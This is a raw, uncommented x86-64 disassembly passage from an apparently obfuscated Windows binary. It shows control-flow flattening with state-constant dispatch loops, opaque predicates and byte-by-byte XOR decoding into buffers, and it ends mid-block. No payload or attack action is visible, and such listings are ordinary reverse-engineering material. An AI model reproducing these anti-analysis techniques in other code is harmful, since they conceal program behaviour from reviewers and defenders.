mov byte [r8 + 3], al
add r8, 4
mov qword [rbp], r8
mov rax, qword [rbp + 0x58]
mov al, byte [rax + 0x2a]
mov byte [rbp + 0x57], al
mov eax, 0x6daada03
jmp 0x14001dd05
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x58]
movzx r8d, byte [rax + 0x2d]
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r11b
sete byte [rbp + 0x8f]
mov ebx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne ebx, eax
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x68]
mov eax, 0x9ce81538
cmovl ebx, eax
mov eax, ecx
or al, r11b
add r8, r15
test al, al
mov r9d, 0x62439574
mov eax, 0xc5c4e523
cmovne r9d, eax
mov r10d, 0x62439574
mov eax, 0x54254c1a
cmovne r10d, eax
mov edi, 0x8ceadef2
mov eax, 0xe0d67025
cmovne edi, eax
xor dl, cl
and cl, r11b
xor cl, dl
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov ecx, 0x413ac401
jmp 0x140012550
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov ecx, 0x54254c1a
nop dword [rax + rax]
mov edx, ecx
cmp ecx, 0x413ac400
jle 0x140012590
cmp edx, 0x54254c19
jg 0x1400125c0
cmp edx, 0x413ac401
je 0x14001261d
cmp edx, 0x4de8461d
je 0x14001263c
mov ecx, edx
cmp edx, 0x4ec8e6fe
jne 0x140012550
mov ecx, esi
jmp 0x140012550
cmp edx, 0xd13082ef
jle 0x1400125f0
mov ecx, ebx
cmp edx, 0xd13082f0
je 0x140012550
cmp edx, 0xe0d67025
je 0x140012656
mov ecx, edx
cmp edx, 0x216c1d41
jne 0x140012550
mov ecx, r10d
jmp 0x140012550
cmp edx, 0x54254c1a
je 0x140012660
cmp edx, 0x62439574
je 0x140012525
mov ecx, edx
cmp edx, 0x76479a56
jne 0x140012550
mov ecx, 0x4ec8e6fe
jmp 0x140012550
cmp edx, 0x8ceadef2
je 0x140012687
mov ecx, edi
cmp edx, 0x9ce81538
je 0x140012550
mov ecx, edx
cmp edx, 0xc5c4e523
jne 0x140012550
jmp 0x140012c52
movzx edx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov ecx, 0x76479a56
cmovne ecx, r14d
test dl, dl
cmovne ecx, r14d
jmp 0x140012550
mov qword [rbp + 0x78], r8
lea rcx, [r12 + 0x2d]
mov qword [rbp + 0x80], rcx
mov ecx, 0x216c1d41
jmp 0x140012550
mov ecx, 0x4de8461d
jmp 0x140012550
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor eax, ecx
xor eax, edx
xor al, 0x13
mov ecx, r9d
jmp 0x140012550
mov ecx, 0x9ce81538
jmp 0x140012550
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 2], al
mov eax, dword [0x140061088]
mov ecx, dword [0x14006108c]
lea edi, [rax - 1]
imul edi, eax
and edi, 1
sete byte [rbp + 0x8f]
sete r10b
mov edx, 0x9ce81538
mov eax, 0x8ceadef2
cmovne edx, eax
cmp ecx, 0xa
setl byte [rbp + 0x68]
setl al
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, eax
or cl, r10b
mov r8d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r8d, ecx
mov r9d, 0x62439574
mov ecx, 0x54254c1a
cmovne r9d, ecx
mov ebx, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne ebx, ecx
xor dil, al
and al, r10b
xor al, dil
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140012760
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400127a0
cmp ecx, 0x54254c19
jg 0x1400127d0
cmp ecx, 0x413ac401
je 0x14001282d
cmp ecx, 0x4de8461d
je 0x14001284c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140012760
mov eax, edi
jmp 0x140012760
cmp ecx, 0xd13082ef
jle 0x140012800
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140012760
cmp ecx, 0xe0d67025
je 0x14001286a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140012760
mov eax, r9d
jmp 0x140012760
cmp ecx, 0x54254c1a
je 0x140012874
cmp ecx, 0x62439574
je 0x14001272b
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140012760
mov eax, 0x4ec8e6fe
jmp 0x140012760
cmp ecx, 0x8ceadef2
je 0x14001289c
mov eax, ebx
cmp ecx, 0x9ce81538
je 0x140012760
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140012760
jmp 0x140012e71
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140012760
lea rax, [r15 + 0x70]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 3]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140012760
mov eax, 0x4de8461d
jmp 0x140012760
mov rsi, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor esi, eax
xor esi, ecx
xor sil, 0x13
mov eax, r8d
jmp 0x140012760
mov eax, 0x9ce81538
jmp 0x140012760
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 3], al
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r10d, [rax - 1]
imul r10d, eax
mov eax, r10d
and eax, 1
sete byte [rbp + 0x8f]
sete dil
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl byte [rbp + 0x68]
setl cl
mov ebx, 0x9ce81538
cmovl edx, ebx
mov ebx, ecx
or bl, dil
mov r9d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r9d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor al, cl
and cl, dil
xor cl, al
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140012970
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400129b0
cmp ecx, 0x54254c19
jg 0x1400129e0
cmp ecx, 0x413ac401
je 0x140012a3d
cmp ecx, 0x4de8461d
je 0x140012a5c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140012970
mov eax, edi
jmp 0x140012970
cmp ecx, 0xd13082ef
jle 0x140012a10
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140012970
cmp ecx, 0xe0d67025
je 0x140012a7a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140012970
mov eax, r11d
jmp 0x140012970
cmp ecx, 0x54254c1a
je 0x140012a84
cmp ecx, 0x62439574
je 0x140012945
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140012970
mov eax, 0x4ec8e6fe
jmp 0x140012970
cmp ecx, 0x8ceadef2
je 0x140012aab
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140012970
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140012970
jmp 0x140013085
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140012970
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 4]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140012970
mov eax, 0x4de8461d
jmp 0x140012970
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140012970
mov eax, 0x9ce81538
jmp 0x140012970
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 4], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 5]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140012b10
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140012b50
cmp edi, 0x54254c19
jg 0x140012b80
cmp edi, 0x413ac401
je 0x140012bdd
cmp edi, 0x4de8461d
je 0x140012bfc
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140012b10
mov edx, r10d
jmp 0x140012b10
cmp edi, 0xd13082ef
jle 0x140012bb0
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140012b10
cmp edi, 0xe0d67025
je 0x140012c16
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140012b10
mov edx, esi
jmp 0x140012b10
cmp edi, 0x54254c1a
je 0x140012c20
cmp edi, 0x62439574
je 0x140012ae8
mov edx, edi
cmp edi, 0x76479a56
jne 0x140012b10
mov edx, 0x4ec8e6fe
jmp 0x140012b10
cmp edi, 0x8ceadef2
je 0x140012c48
mov edx, eax
cmp edi, 0x9ce81538
je 0x140012b10
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140012b10
jmp 0x140013225
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140012b10
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 5]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140012b10
mov edx, 0x4de8461d
jmp 0x140012b10
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140012b10
mov edx, 0x9ce81538
jmp 0x140012b10
mov byte [rbp + 0x70], al
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x2e]
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r10d, [rax - 1]
imul r10d, eax
mov eax, r10d
and eax, 1
sete sil
sete byte [rbp + 0x8f]
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl bl
setl byte [rbp + 0x68]
mov ecx, 0x9ce81538
cmovl edx, ecx
mov ecx, ebx
or cl, sil
add r11, r15
test cl, cl
mov r9d, 0x62439574
mov ecx, 0xc5c4e523
cmovne r9d, ecx
mov r13d, 0x62439574
mov ecx, 0x54254c1a
cmovne r13d, ecx
mov edi, 0x8ceadef2
mov ecx, 0xe0d67025
cmovne edi, ecx
xor al, bl
and bl, sil
xor bl, al
mov esi, 0xd13082f0
mov eax, 0x76479a56
cmovne esi, eax
mov eax, 0x413ac401
jmp 0x140012d30
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140012d70
cmp ecx, 0x54254c19
jg 0x140012da0
cmp ecx, 0x413ac401
je 0x140012dfd
cmp ecx, 0x4de8461d
je 0x140012e1c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140012d30
mov eax, esi
jmp 0x140012d30
cmp ecx, 0xd13082ef
jle 0x140012dd0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140012d30
cmp ecx, 0xe0d67025
je 0x140012e36
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140012d30
mov eax, r13d
jmp 0x140012d30
cmp ecx, 0x54254c1a
je 0x140012e40
cmp ecx, 0x62439574
je 0x140012cfe
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140012d30
mov eax, 0x4ec8e6fe
jmp 0x140012d30
cmp ecx, 0x8ceadef2
je 0x140012e67
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140012d30
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140012d30
jmp 0x1400133c2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140012d30
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x2e]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140012d30
mov eax, 0x4de8461d
jmp 0x140012d30
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140012d30
mov eax, 0x9ce81538
jmp 0x140012d30
mov byte [rbp + 0x70], sil
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 3], al
mov eax, dword [0x140061088]
mov r8d, dword [0x14006108c]
lea r10d, [rax - 1]
imul r10d, eax
mov eax, r10d
and eax, 1
sete byte [rbp + 0x8f]
sete dil
mov edx, 0x9ce81538
mov ecx, 0x8ceadef2
cmovne edx, ecx
cmp r8d, 0xa
setl byte [rbp + 0x68]
setl cl
mov ebx, 0x9ce81538
cmovl edx, ebx
mov ebx, ecx
or bl, dil
mov r9d, 0x62439574
mov ebx, 0xc5c4e523
cmovne r9d, ebx
mov r11d, 0x62439574
mov esi, 0x54254c1a
cmovne r11d, esi
mov esi, 0x8ceadef2
mov ebx, 0xe0d67025
cmovne esi, ebx
xor al, cl
and cl, dil
xor cl, al
mov edi, 0xd13082f0
mov eax, 0x76479a56
cmovne edi, eax
mov eax, 0x413ac401
jmp 0x140012f40
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140012f80
cmp ecx, 0x54254c19
jg 0x140012fb0
cmp ecx, 0x413ac401
je 0x14001300d
cmp ecx, 0x4de8461d
je 0x14001302c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140012f40
mov eax, edi
jmp 0x140012f40
cmp ecx, 0xd13082ef
jle 0x140012fe0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140012f40
cmp ecx, 0xe0d67025
je 0x14001304a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140012f40
mov eax, r11d
jmp 0x140012f40
cmp ecx, 0x54254c1a
je 0x140013054
cmp ecx, 0x62439574
je 0x140012f10
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140012f40
mov eax, 0x4ec8e6fe
jmp 0x140012f40
cmp ecx, 0x8ceadef2
je 0x14001307b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140012f40
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140012f40
jmp 0x140013561
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140012f40
lea rax, [r15 + 0x73]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 4]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140012f40
mov eax, 0x4de8461d
jmp 0x140012f40
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140012f40
mov eax, 0x9ce81538
jmp 0x140012f40
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 4], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400130e0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013120
cmp ecx, 0x54254c19
jg 0x140013150
cmp ecx, 0x413ac401
je 0x1400131ad
cmp ecx, 0x4de8461d
je 0x1400131cc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400130e0
mov eax, edi
jmp 0x1400130e0
cmp ecx, 0xd13082ef
jle 0x140013180
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400130e0
cmp ecx, 0xe0d67025
je 0x1400131ea
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400130e0
mov eax, r11d
jmp 0x1400130e0
cmp ecx, 0x54254c1a
je 0x1400131f4
cmp ecx, 0x62439574
je 0x1400130ac
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400130e0
mov eax, 0x4ec8e6fe
jmp 0x1400130e0
cmp ecx, 0x8ceadef2
je 0x14001321b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400130e0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400130e0
jmp 0x1400136f5
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400130e0
lea rax, [r15 + 0x3a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 5]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400130e0
mov eax, 0x4de8461d
jmp 0x1400130e0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x1400130e0
mov eax, 0x9ce81538
jmp 0x1400130e0
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 5], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 6]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140013280
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x1400132c0
cmp edi, 0x54254c19
jg 0x1400132f0
cmp edi, 0x413ac401
je 0x14001334d
cmp edi, 0x4de8461d
je 0x14001336c
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x140013280
mov edx, r10d
jmp 0x140013280
cmp edi, 0xd13082ef
jle 0x140013320
mov edx, r11d
cmp edi, 0xd13082f0
je 0x140013280
cmp edi, 0xe0d67025
je 0x140013386
mov edx, edi
cmp edi, 0x216c1d41
jne 0x140013280
mov edx, esi
jmp 0x140013280
cmp edi, 0x54254c1a
je 0x140013390
cmp edi, 0x62439574
je 0x140013258
mov edx, edi
cmp edi, 0x76479a56
jne 0x140013280
mov edx, 0x4ec8e6fe
jmp 0x140013280
cmp edi, 0x8ceadef2
je 0x1400133b8
mov edx, eax
cmp edi, 0x9ce81538
je 0x140013280
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x140013280
jmp 0x140013895
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x140013280
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 6]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x140013280
mov edx, 0x4de8461d
jmp 0x140013280
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x140013280
mov edx, 0x9ce81538
jmp 0x140013280
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x18]
mov byte [rcx + 4], al
mov rax, qword [rbp + 0x58]
movzx r11d, byte [rax + 0x2f]
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
add r11, r15
mov eax, 0x413ac401
jmp 0x140013420
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop dword [rax + rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013460
cmp ecx, 0x54254c19
jg 0x140013490
cmp ecx, 0x413ac401
je 0x1400134ed
cmp ecx, 0x4de8461d
je 0x14001350c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140013420
mov eax, esi
jmp 0x140013420
cmp ecx, 0xd13082ef
jle 0x1400134c0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140013420
cmp ecx, 0xe0d67025
je 0x140013526
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140013420
mov eax, r13d
jmp 0x140013420
cmp ecx, 0x54254c1a
je 0x140013530
cmp ecx, 0x62439574
je 0x1400133f5
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140013420
mov eax, 0x4ec8e6fe
jmp 0x140013420
cmp ecx, 0x8ceadef2
je 0x140013557
mov eax, edi
cmp ecx, 0x9ce81538
je 0x140013420
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140013420
jmp 0x140013a32
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140013420
mov qword [rbp + 0x78], r11
lea rax, [r12 + 0x2f]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140013420
mov eax, 0x4de8461d
jmp 0x140013420
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140013420
mov eax, 0x9ce81538
jmp 0x140013420
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 4], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400135b0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x1400135f0
cmp ecx, 0x54254c19
jg 0x140013620
cmp ecx, 0x413ac401
je 0x14001367d
cmp ecx, 0x4de8461d
je 0x14001369c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400135b0
mov eax, edi
jmp 0x1400135b0
cmp ecx, 0xd13082ef
jle 0x140013650
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400135b0
cmp ecx, 0xe0d67025
je 0x1400136ba
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400135b0
mov eax, r11d
jmp 0x1400135b0
cmp ecx, 0x54254c1a
je 0x1400136c4
cmp ecx, 0x62439574
je 0x140013588
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400135b0
mov eax, 0x4ec8e6fe
jmp 0x1400135b0
cmp ecx, 0x8ceadef2
je 0x1400136eb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400135b0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400135b0
jmp 0x140013bd1
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400135b0
lea rax, [r15 + 0x3a]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 5]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400135b0
mov eax, 0x4de8461d
jmp 0x1400135b0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x1400135b0
mov eax, 0x9ce81538
jmp 0x1400135b0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 5], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140013750
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140013790
cmp ecx, 0x54254c19
jg 0x1400137c0
cmp ecx, 0x413ac401
je 0x14001381d
cmp ecx, 0x4de8461d
je 0x14001383c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140013750
mov eax, edi
jmp 0x140013750
cmp ecx, 0xd13082ef
jle 0x1400137f0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140013750
cmp ecx, 0xe0d67025
je 0x14001385a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140013750
mov eax, r11d
jmp 0x140013750
cmp ecx, 0x54254c1a
je 0x140013864
cmp ecx, 0x62439574
je 0x14001371c
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140013750
mov eax, 0x4ec8e6fe
jmp 0x140013750
cmp ecx, 0x8ceadef2
je 0x14001388b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140013750
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140013750
jmp 0x140013d65
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140013750
lea rax, [r15 + 0x2f]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 6]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140013750
mov eax, 0x4de8461d
jmp 0x140013750
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140013750
mov eax, 0x9ce81538
jmp 0x140013750
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 6], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 7]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x1400138f0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140013930
cmp edi, 0x54254c19
jg 0x140013960
cmp edi, 0x413ac401
je 0x1400139bd
cmp edi, 0x4de8461d
je 0x1400139dc
mov edx, edi
